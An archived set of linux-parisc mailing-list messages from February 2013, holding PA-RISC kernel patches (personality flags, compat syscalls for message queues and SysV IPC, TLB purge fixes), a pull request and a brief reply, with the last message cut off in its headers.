X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix personality on 32bit kernel
Date: Sun, 10 Feb 2013 00:11:46 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20130209231146.GA23219@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1360451511 16238 80.91.229.3 (9 Feb 2013 23:11:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Feb 2013 23:11:51 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Feb 10 00:12:12 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U4Jad-0001gE-Cv
	for glpp-linux-parisc@plane.gmane.org; Sun, 10 Feb 2013 00:12:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760861Ab3BIXLv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Feb 2013 18:11:51 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:60408 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760860Ab3BIXLv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Feb 2013 18:11:51 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LoscP-1Uat701dOt-00gqTB for
 <linux-parisc@vger.kernel.org>; Sun, 10 Feb 2013 00:11:49 +0100
Original-Received: (qmail invoked by alias); 09 Feb 2013 23:11:49 -0000
Original-Received: from p54AD0F54.dip0.t-ipconnect.de (EHLO p100.box) [84.173.15.84]
  by mail.gmx.net (mp024) with SMTP; 10 Feb 2013 00:11:49 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1/0HRp32Jb0lWM5kWicWHpZE25a7J0bVs2dI9pY2O
	/ZXIPif9/9YPRF
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4808
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4808>

Process personality is stored together with other flags like UNAME26 in
an integer variable.  Overwriting this value with PER_LINUX drops all
other existing flags and as such broke tools like the uname26 tool.

Actually this was only broken on 32bit kernels, since for 32bit-ELF
binaries on 64-bit kernels the SET_PERSONALITY macro from
arch/parisc/kernel/binfmt_elf32.c is used which does not modifies the
personality value at all (which is wrong as long as we don't run HPUX
binaries or similiar).

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/elf.h b/arch/parisc/include/asm/elf.h
index 19f6cb1..ad2b503 100644
--- a/arch/parisc/include/asm/elf.h
+++ b/arch/parisc/include/asm/elf.h
@@ -247,7 +247,7 @@ typedef unsigned long elf_greg_t;
 #define ELF_PLATFORM  ("PARISC\0")
 
 #define SET_PERSONALITY(ex) \
-	current->personality = PER_LINUX; \
+	set_personality((current->personality & ~PER_MASK) | PER_LINUX); \
 	current->thread.map_base = DEFAULT_MAP_BASE; \
 	current->thread.task_size = DEFAULT_TASK_SIZE \
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: correctly wire up mq_* functions for CONFIG_COMPAT
 case
Date: Mon, 11 Feb 2013 21:50:49 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20130211205049.GA20397@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1360615860 21710 80.91.229.3 (11 Feb 2013 20:51:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2013 20:51:00 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 21:51:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U50LJ-0003s4-Oi
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Feb 2013 21:51:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759726Ab3BKUuy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2013 15:50:54 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:56793 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1759659Ab3BKUux (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2013 15:50:53 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.32]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0LzEj9-1V00hW410D-014SzE for
 <linux-parisc@vger.kernel.org>; Mon, 11 Feb 2013 21:50:52 +0100
Original-Received: (qmail invoked by alias); 11 Feb 2013 20:50:51 -0000
Original-Received: from p54AD04EB.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.235]
  by mail.gmx.net (mp032) with SMTP; 11 Feb 2013 21:50:51 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX19JoP1lxiFJ5HKhKUTWicnYBrlOu6bEgVUd9aN+hj
	njAAbESPvGakCl
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4810
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4810>

Fix mq_open, mq_timedsend, mq_timedreceive, mq_notify and mq_getsetattr
syscalls when running 32bit applications on 64bit kernel.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
index cf7094c..e5fcd4c 100644
--- a/arch/parisc/kernel/syscall_table.S
+++ b/arch/parisc/kernel/syscall_table.S
@@ -327,12 +327,12 @@
 	ENTRY_SAME(epoll_wait)
  	ENTRY_SAME(remap_file_pages)
 	ENTRY_SAME(semtimedop)
-	ENTRY_SAME(mq_open)
+	ENTRY_COMP(mq_open)
 	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_SAME(mq_timedsend)
-	ENTRY_SAME(mq_timedreceive)
-	ENTRY_SAME(mq_notify)
-	ENTRY_SAME(mq_getsetattr)
+	ENTRY_COMP(mq_timedsend)
+	ENTRY_COMP(mq_timedreceive)
+	ENTRY_COMP(mq_notify)
+	ENTRY_COMP(mq_getsetattr)
 	ENTRY_COMP(waitid)		/* 235 */
 	ENTRY_OURS(fadvise64_64)
 	ENTRY_SAME(set_tid_address)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: convert msgrcv and msgsnd syscalls to use compat
 layer
Date: Mon, 11 Feb 2013 23:34:36 +0100
Lines: 171
Approved: news@gmane.org
Message-ID: <20130211223436.GA17534@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1360622086 14349 80.91.229.3 (11 Feb 2013 22:34:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2013 22:34:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 23:35:08 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U51xn-0006Q7-AZ
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Feb 2013 23:35:03 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932757Ab3BKWen (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2013 17:34:43 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:52236 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932730Ab3BKWem (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2013 17:34:42 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.17]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0LyPqS-1V1tgd13CA-015p9K for
 <linux-parisc@vger.kernel.org>; Mon, 11 Feb 2013 23:34:41 +0100
Original-Received: (qmail invoked by alias); 11 Feb 2013 22:34:40 -0000
Original-Received: from p54AD04EB.dip0.t-ipconnect.de (EHLO p100.box) [84.173.4.235]
  by mail.gmx.net (mp017) with SMTP; 11 Feb 2013 23:34:40 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+5fxdJ38G5Vz/VPy3BTjc/ivfwmETR0JwLEvDEHA
	GpL5qNtAQ3HOC0
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4811
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4811>

The currently used hand-crufted implementation is partly buggy and returned
different error return codes.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 3df1c35..81bc84f 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -272,6 +272,10 @@ config COMPAT
 	def_bool y
 	depends on 64BIT
 
+config SYSVIPC_COMPAT
+	def_bool y
+	depends on SYSVIPC
+
 config HPUX
 	bool "Support for HP-UX binaries"
 	depends on !64BIT
diff --git a/arch/parisc/include/asm/compat.h b/arch/parisc/include/asm/compat.h
index db7a662..94710cf 100644
--- a/arch/parisc/include/asm/compat.h
+++ b/arch/parisc/include/asm/compat.h
@@ -28,6 +28,7 @@ typedef u16	compat_nlink_t;
 typedef u16	compat_ipc_pid_t;
 typedef s32	compat_daddr_t;
 typedef u32	compat_caddr_t;
+typedef s32	compat_key_t;
 typedef s32	compat_timer_t;
 
 typedef s32	compat_int_t;
@@ -188,6 +189,66 @@ typedef struct compat_siginfo {
 #define COMPAT_OFF_T_MAX	0x7fffffff
 #define COMPAT_LOFF_T_MAX	0x7fffffffffffffffL
 
+struct compat_ipc64_perm {
+	compat_key_t key;
+	__compat_uid_t uid;
+	__compat_gid_t gid;
+	__compat_uid_t cuid;
+	__compat_gid_t cgid;
+	unsigned short int __pad1;
+	compat_mode_t mode;
+	unsigned short int __pad2;
+	unsigned short int seq;
+	unsigned int __pad3;
+	unsigned long __unused1;	/* yes they really are 64bit pads */
+	unsigned long __unused2;
+};
+
+struct compat_semid64_ds {
+	struct compat_ipc64_perm sem_perm;
+	compat_time_t sem_otime;
+	unsigned int __unused1;
+	compat_time_t sem_ctime;
+	unsigned int __unused2;
+	compat_ulong_t sem_nsems;
+	compat_ulong_t __unused3;
+	compat_ulong_t __unused4;
+};
+
+struct compat_msqid64_ds {
+	struct compat_ipc64_perm msg_perm;
+	unsigned int __unused1;
+	compat_time_t msg_stime;
+	unsigned int __unused2;
+	compat_time_t msg_rtime;
+	unsigned int __unused3;
+	compat_time_t msg_ctime;
+	compat_ulong_t msg_cbytes;
+	compat_ulong_t msg_qnum;
+	compat_ulong_t msg_qbytes;
+	compat_pid_t msg_lspid;
+	compat_pid_t msg_lrpid;
+	compat_ulong_t __unused4;
+	compat_ulong_t __unused5;
+};
+
+struct compat_shmid64_ds {
+	struct compat_ipc64_perm shm_perm;
+	unsigned int __unused1;
+	compat_time_t shm_atime;
+	unsigned int __unused2;
+	compat_time_t shm_dtime;
+	unsigned int __unused3;
+	compat_time_t shm_ctime;
+	unsigned int __unused4;
+	compat_size_t shm_segsz;
+	compat_pid_t shm_cpid;
+	compat_pid_t shm_lpid;
+	compat_ulong_t shm_nattch;
+	compat_ulong_t __unused5;
+	compat_ulong_t __unused6;
+};
+
 /*
  * A pointer passed in from user mode. This should not
  * be used for syscall parameters, just declare them
diff --git a/arch/parisc/kernel/sys_parisc32.c b/arch/parisc/kernel/sys_parisc32.c
index 9cfdaa1..cee60f7 100644
--- a/arch/parisc/kernel/sys_parisc32.c
+++ b/arch/parisc/kernel/sys_parisc32.c
@@ -21,7 +21,6 @@
 #include <linux/time.h>
 #include <linux/smp.h>
 #include <linux/sem.h>
-#include <linux/msg.h>
 #include <linux/shm.h>
 #include <linux/slab.h>
 #include <linux/uio.h>
@@ -73,63 +72,6 @@ asmlinkage long sys32_sched_rr_get_interval(pid_t pid,
 	return ret;
 }
 
-struct msgbuf32 {
-    int mtype;
-    char mtext[1];
-};
-
-asmlinkage long sys32_msgsnd(int msqid,
-				struct msgbuf32 __user *umsgp32,
-				size_t msgsz, int msgflg)
-{
-	struct msgbuf *mb;
-	struct msgbuf32 mb32;
-	int err;
-
-	if ((mb = kmalloc(msgsz + sizeof *mb + 4, GFP_KERNEL)) == NULL)
-		return -ENOMEM;
-
-	err = get_user(mb32.mtype, &umsgp32->mtype);
-	mb->mtype = mb32.mtype;
-	err |= copy_from_user(mb->mtext, &umsgp32->mtext, msgsz);
-
-	if (err)
-		err = -EFAULT;
-	else
-		KERNEL_SYSCALL(err, sys_msgsnd, msqid, (struct msgbuf __user *)mb, msgsz, msgflg);
-
-	kfree(mb);
-	return err;
-}
-
-asmlinkage long sys32_msgrcv(int msqid,
-				struct msgbuf32 __user *umsgp32,
-				size_t msgsz, long msgtyp, int msgflg)
-{
-	struct msgbuf *mb;
-	struct msgbuf32 mb32;
-	int err, len;
-
-	if ((mb = kmalloc(msgsz + sizeof *mb + 4, GFP_KERNEL)) == NULL)
-		return -ENOMEM;
-
-	KERNEL_SYSCALL(err, sys_msgrcv, msqid, (struct msgbuf __user *)mb, msgsz, msgtyp, msgflg);
-
-	if (err >= 0) {
-		len = err;
-		mb32.mtype = mb->mtype;
-		err = put_user(mb32.mtype, &umsgp32->mtype);
-		err |= copy_to_user(&umsgp32->mtext, mb->mtext, len);
-		if (err)
-			err = -EFAULT;
-		else
-			err = len;
-	}
-
-	kfree(mb);
-	return err;
-}

From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Turner <mattst88@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert msgrcv and msgsnd syscalls to use compat layer
Date: Mon, 11 Feb 2013 14:43:01 -0800
Lines: 12
Approved: news@gmane.org
Message-ID: <CAEdQ38FJUi9mO8UUWcgckaLzMuxsD1e3qTan_E_KVp6hx0eLkg@mail.gmail.com>
References: <20130211223436.GA17534@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1360622603 18966 80.91.229.3 (11 Feb 2013 22:43:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Feb 2013 22:43:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Feb 11 23:43:44 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U526A-0006wO-VC
	for glpp-linux-parisc@plane.gmane.org; Mon, 11 Feb 2013 23:43:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932815Ab3BKWnX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 11 Feb 2013 17:43:23 -0500
Original-Received: from mail-gh0-f179.google.com ([209.85.160.179]:36935 "EHLO
	mail-gh0-f179.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932782Ab3BKWnW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 11 Feb 2013 17:43:22 -0500
Original-Received: by mail-gh0-f179.google.com with SMTP id r14so1309993ghr.24
        for <linux-parisc@vger.kernel.org>; Mon, 11 Feb 2013 14:43:22 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=x-received:mime-version:in-reply-to:references:from:date:message-id
         :subject:to:cc:content-type;
        bh=jwzYq3Ce9B7BSQCy58X8rraaVHrtrdgNvZY4JM3S/KA=;
        b=yUcAwrdyFY9eWkMDTf6yk8Ahcc3JuQOCZxo/AGEXpFd/Dca4vEQ9e4aRgMf8IVoGjp
         EeBPislJONuwKT5qX+j9ZKv1PvjYmJho1vLwzGhF2iphvge6K6wlDWEIcY8zyOsDXzfT
         fwXNamJK64lJTp5cK+sckQs6B0V+8D08JB6Y9cMuZhoqwxXoTKab+Yg5C82IJXVr9To1
         I16NuZtjMsR3vT59pJOoWLKzGaSAGwYlUMq13EkSPd7Ws6+sUwbIXFePZRbYYjbfjUyj
         G5ZvvZYltj/oJ7QmTLVNT1oR6o0Y5l0g456+UpZtAOflxNJKZgY9mZ62Ku8aJ/+SWEtr
         moPw==
X-Received: by 10.236.125.77 with SMTP id y53mr19595899yhh.14.1360622602030;
 Mon, 11 Feb 2013 14:43:22 -0800 (PST)
Original-Received: by 10.100.92.15 with HTTP; Mon, 11 Feb 2013 14:43:01 -0800 (PST)
In-Reply-To: <20130211223436.GA17534@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4812>

On Mon, Feb 11, 2013 at 2:34 PM, Helge Deller <deller@gmx.de> wrote:
> The currently used hand-crufted implementation is partly buggy and returned
                            ^

Maybe an apt typo? :)

> different error return codes.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 3.8-rc7
Date: Wed, 13 Feb 2013 09:01:31 +0400
Lines: 121
Approved: news@gmane.org
Message-ID: <1360731691.2544.15.camel@dabdike>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1360731698 11111 80.91.229.3 (13 Feb 2013 05:01:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 13 Feb 2013 05:01:38 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Andrew Morton <akpm@linux-foundation.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Feb 13 06:01:58 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U5UTl-0006Fw-SL
	for glpp-linux-parisc@plane.gmane.org; Wed, 13 Feb 2013 06:01:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750776Ab3BMFBi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 13 Feb 2013 00:01:38 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:48161 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750712Ab3BMFBh (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 13 Feb 2013 00:01:37 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 366668EE0EB;
	Tue, 12 Feb 2013 21:01:35 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id yi-R7LDUULa6; Tue, 12 Feb 2013 21:01:35 -0800 (PST)
Original-Received: from [192.168.6.31] (unknown [194.186.187.194])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 62B958EE0DD;
	Tue, 12 Feb 2013 21:01:33 -0800 (PST)
X-Mailer: Evolution 3.6.3 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4813 gmane.linux.kernel:1440549
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4813>

This is a couple of patches, one to fix a broken build with HPUX
compatibility and the other to solve a coherency problem we've been
seeing in our TLB where setting a page read only occasionally fails to
trigger a COW because of a stale writeable TLB entry.

The patches are here:

git://git.kernel.org/pub/scm/linux/kernel/git/jejb/parisc-2.6.git parisc-fixes

The short changelog is:

Geert Uytterhoeven (1):
      hpux: Remove obsolete regs parameter from do_execve() in hpux_execve()

John David Anglin (1):
      Purge existing TLB entries in set_pte_at and ptep_set_wrprotect

and the diffstat:

 arch/parisc/hpux/fs.c             |  3 +--
 arch/parisc/include/asm/pgtable.h | 13 ++++++++++---
 arch/parisc/kernel/cache.c        | 18 ++++++++++++++++++
 3 files changed, 29 insertions(+), 5 deletions(-)

Full diff is attached below.

James

---

diff --git a/arch/parisc/hpux/fs.c b/arch/parisc/hpux/fs.c
index a0760b8..838b479 100644
--- a/arch/parisc/hpux/fs.c
+++ b/arch/parisc/hpux/fs.c
@@ -43,8 +43,7 @@ int hpux_execve(struct pt_regs *regs)
 
 	error = do_execve(filename->name,
 			  (const char __user *const __user *) regs->gr[25],
-			  (const char __user *const __user *) regs->gr[24],
-			  regs);
+			  (const char __user *const __user *) regs->gr[24]);
 
 	putname(filename);
 
diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index ee99f23..7df49fa 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -12,11 +12,10 @@
 
 #include <linux/bitops.h>
 #include <linux/spinlock.h>
+#include <linux/mm_types.h>
 #include <asm/processor.h>
 #include <asm/cache.h>
 
-struct vm_area_struct;
-
 /*
  * kern_addr_valid(ADDR) tests if ADDR is pointing to valid kernel
  * memory.  For the return value to be meaningful, ADDR must be >=
@@ -40,7 +39,14 @@ struct vm_area_struct;
         do{                                                     \
                 *(pteptr) = (pteval);                           \
         } while(0)
-#define set_pte_at(mm,addr,ptep,pteval) set_pte(ptep,pteval)
+
+extern void purge_tlb_entries(struct mm_struct *, unsigned long);
+
+#define set_pte_at(mm, addr, ptep, pteval)                      \
+	do {                                                    \
+		set_pte(ptep, pteval);                          \
+		purge_tlb_entries(mm, addr);                    \
+	} while (0)
 
 #endif /* !__ASSEMBLY__ */
 
@@ -466,6 +472,7 @@ static inline void ptep_set_wrprotect(struct mm_struct *mm, unsigned long addr,
 		old = pte_val(*ptep);
 		new = pte_val(pte_wrprotect(__pte (old)));
 	} while (cmpxchg((unsigned long *) ptep, old, new) != old);
+	purge_tlb_entries(mm, addr);
 #else
 	pte_t old_pte = *ptep;
 	set_pte_at(mm, addr, ptep, pte_wrprotect(old_pte));
diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
index 48e16dc..b89a85a 100644
--- a/arch/parisc/kernel/cache.c
+++ b/arch/parisc/kernel/cache.c
@@ -419,6 +419,24 @@ void kunmap_parisc(void *addr)
 EXPORT_SYMBOL(kunmap_parisc);
 #endif
 
+void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
+{
+	unsigned long flags;
+
+	/* Note: purge_tlb_entries can be called at startup with
+	   no context.  */
+
+	/* Disable preemption while we play with %sr1.  */
+	preempt_disable();
+	mtsp(mm->context, 1);
+	purge_tlb_start(flags);
+	pdtlb(addr);
+	pitlb(addr);
+	purge_tlb_end(flags);
+	preempt_enable();
+}
+EXPORT_SYMBOL(purge_tlb_entries);
+
 void __flush_tlb_range(unsigned long sid, unsigned long start,
 		       unsigned long end)
 {


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert msgrcv and msgsnd syscalls to use compat
 layer
Date: Tue, 19 Feb 2013 20:55:54 +0100
Lines: 193
Approved: news@gmane.org
Message-ID: <20130219195554.GA9688@p100.box>
References: <20130211223436.GA17534@p100.box>
 <CAEdQ38FJUi9mO8UUWcgckaLzMuxsD1e3qTan_E_KVp6hx0eLkg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1361303759 16895 80.91.229.3 (19 Feb 2013 19:55:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 19 Feb 2013 19:55:59 +0000 (UTC)
To: Matt Turner <mattst88@gmail.com>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Feb 19 20:56:21 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1U7tIa-0005io-B1
	for glpp-linux-parisc@plane.gmane.org; Tue, 19 Feb 2013 20:56:20 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933799Ab3BSTz7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 19 Feb 2013 14:55:59 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:57252 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S933792Ab3BSTz7 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 19 Feb 2013 14:55:59 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.34]) by mrigmx.server.lan
